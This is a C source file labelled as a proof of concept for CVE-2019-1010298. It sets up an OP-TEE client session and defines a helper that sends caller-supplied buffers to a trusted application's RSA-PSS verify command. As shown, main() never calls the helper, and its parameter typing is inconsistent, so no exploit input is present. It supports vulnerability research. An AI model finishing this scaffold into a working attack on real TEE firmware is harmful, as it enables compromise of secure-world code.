/*
 * Copyright (c) 2019, Ren Kimura <rkx1209dev@gmail.com>
 * All rights reserved.
 * Proof of Concept for CVE-2019-1010298 
 */

#include <err.h>
#include <stdio.h>
#include <string.h>

/* OP-TEE TEE client API (built by optee_client) */
#include <tee_client_api.h>

/* To the the UUID (found the the TA's h-file(s)) */
#include <verify.h>

/* TEE resources */
struct verify_ctx {
	TEEC_Context ctx;
	TEEC_Session sess;
};

void prepare_tee_session(struct verify_ctx *ctx)
{
	TEEC_UUID uuid = TA_VERIFY_UUID;
	uint32_t origin;
	TEEC_Result res;

	/* Initialize a context connecting us to the TEE */
	res = TEEC_InitializeContext(NULL, &ctx->ctx);
	if (res != TEEC_SUCCESS)
		errx(1, "TEEC_InitializeContext failed with code 0x%x", res);

	/* Open a session with the TA */
	res = TEEC_OpenSession(&ctx->ctx, &ctx->sess, &uuid,
			       TEEC_LOGIN_PUBLIC, NULL, NULL, &origin);
	if (res != TEEC_SUCCESS)
		errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x",
			res, origin);
}

void terminate_tee_session(struct verify_ctx *ctx)
{
	TEEC_CloseSession(&ctx->sess);
	TEEC_FinalizeContext(&ctx->ctx);
}

void rsa_pss_verify(struct verify_ctx *ctx, TEE_Attribute *param, uint32_t param_sz, 
									void* digest, size_t digest_len, void* signature, size_t sig_len)
{
	TEEC_Operation op;
	uint32_t origin;
	TEEC_Result res;

	memset(&op, 0, sizeof(op));
	op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INPUT,
					 TEEC_MEMREF_TEMP_OUTPUT,
					 TEEC_NONE, TEEC_NONE);
	op.params[0].tmpref.buffer = param;
	op.params[0].tmpref.size = param_sz;
	op.params[1].tmpref.buffer = digest;
	op.params[1].tmpref.size = digest_len;
	op.params[2].tmpref.buffer = signature;
	op.params[2].tmpref.size = sig_len;

	res = TEEC_InvokeCommand(&ctx->sess, TA_ASYMM_VERIFY,
				 &op, &origin);
	if (res != TEEC_SUCCESS)
		errx(1, "TEEC_InvokeCommand(CIPHER) failed 0x%x origin 0x%x",
			res, origin);
}

int main(void)
{
	struct verify_ctx ctx;

	printf("Prepare session with the TA\n");
	prepare_tee_session(&ctx);

	terminate_tee_session(&ctx);
	return 0;
}
